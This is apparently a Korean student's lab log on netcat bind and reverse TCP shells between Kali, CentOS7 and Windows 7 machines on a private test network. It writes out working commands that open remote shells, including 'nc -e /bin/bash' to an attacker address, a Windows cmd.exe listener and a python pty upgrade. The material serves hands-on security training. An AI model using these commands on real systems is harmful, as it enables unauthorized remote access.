[2024.06.20]
> nc를 활용한 Bind/Reverse TCP
> netCat
방화벽에 의해 공격이 불가능한 상태에서 공격자인 Kali에게 접근한다
<Bind TCP>
[Kali Linux]
#nc 192.168.10.50 4444
> Kali에서 CentOS7 프롬포트 가져오기
python -c 'import pty;pty.spawn("/bin/bash")'
[CentOS7]
#nc -e /bin/bash -l -p 4444
일단 처음은 50번 서버의 CentOS7에서 시작한다
포트 번호를 지정해서 공격을 시도하고 창을 하나 더 열어 netstat -tuna 옵션으로
화면에 4444번 포트가 대기 중인 것까지 확인한다
현재 4444번 포트가 대기 중이므로 Kali Linux로 넘어간 후
nc 명령어와 접속할 IP 주소 및 포트 번호를 입력한다
입력하게 되면 빈 화면이 뜨게 되는데 빈 화면에 CentOS7에서 사용하던 것과 같이
명령어를 주게 되면 정상적으로 사용할 수 있게끔 화면이 나오게 된다
위에서 테스트 후 50번으로 넘어와서 다시 tuna를 확인하게 되면,
Kali linux가 현재 클라이언트로 연결되어 있는 걸 확인할 수 있다
50번 서버에서 파일을 만들게 되면
그대로 Kali Linux에서도 반영된다
해당 화면은 4444로 입력 후 대기 중인 상태의 화면으로,
아무것도 하지 않았을 때 LISTEN이 뜨게 된다
하지만 Kali Linux에서 접속을 시도하게 되면
4444번의 포트가 가동하고 있다는 걸 보여 주는 ESTABLISHED로 변경된다
이번에는 100번 서버와 50번 서버 동시 접속 진행
위의 50번 방식과 동일하게 포트 번호를 지정하고 tuna에서 대기 중인 걸 확인한다
Kali Linux에도 창을 하나 더 띄우고 동시 접속이 가능한 걸 확인할 수 있다
각각 50번 서버와 100번 서버의 tuna 확인 화면
또한 Kali에서 CentOS7 프롬포트 가져오기 테스트를 해 보려고 하는데
python 명령어를 가지고 명령어를 입력하게 되면 루트 권한을 얻은 화면이 보이게 된다
프롬포트를 가지고 와도 가지고 오지 않아도 CentOS7 구동이 완전히 가능하다
아까는 보이지 않았던 화면이 현재 나오게 됨으로 답답함이 해소된 것 같다
<Reverse TCP>
[Kali Linux]
#nc -n -v -l -p 4444
[CentOS7]
#nc -e /bin/bash 192.168.10.250 4444
-l은 리스닝이고, -p는 포트 번호를 의미하는데
포트 번호 4444를 읽어들인다는 뜻으로 해당 포트 번호를 입력하게 되면 보이는 화면처럼 뜬다
Kali Linux에서는 저 상태로 실행해 두고 50번 서버의 CentOS7으로 가서 화면의 명령어를 입력한다
CentOS7에서 공격을 시도하자마자 바로 연결이 되며 접속이 가능해진다
100번 서버의 CentOS7에서도 동시 접속 테스트를 하기 위해
같은 포트 번호를 제외한 포트 번호를 입력해 준 다음
100번 서버의 CentOS7으로 이동해서 명령어를 집어넣고 포트 번호를 입력해 준다
그 다음 Kali Linux를 확인하게 되면 50번 서버에서 공격했던 화면과 동일하게 접속이 가능해진다
*ll의 경우에는 오리지널 명령어가 아니기 때문에 Kali Linux에서는 사용할 수 없다
python 명령어의 경우에도 두 개의 서버 모두 가능한 것까지 확인할 수 있다
[Windows 7]
c:\netcat>nc -L -d -e c:\windows\system32\cmd.exe -p 1234
[CentOS7]
#nc 192.168.10.201 1234
c:\
*드라이브 위치를 변경하려면 cd [변경할 이름]을 입력
위에서는 Kali Linux와 CentOS7 간으로는 진행해 봤는데,
이번에는 Windows 7으로 진행해 보려고 한다
윈도우로 넘어오게 되면 명령어가 달라진다
화면의 명령어를 입력해 주고 대기 상태
CentOS7에서의 tuna 역할을 하는 netstat -an이다
이번에는 포트 번호를 4321로 설정했기 때문에 해당 포트 번호가 대기 중인 것을 확인한다
그 다음 CentOS7으로 넘어가서 접속 IP 주소와 포트 번호를 입력
윈도우 명령 프롬포트 창을 똑같이 구동할 수 있게 된다
강의 소감
오늘도 역시 정신없이 명령어를 배우고 실습을 진행했다
오늘은 명령어를 입력 중 하나를 빠트리거나 하는 실수가 잦았다
이런 실습을 진행할 때는 이 부분 또한 유의하며 진행해야 되겠다고 느꼈다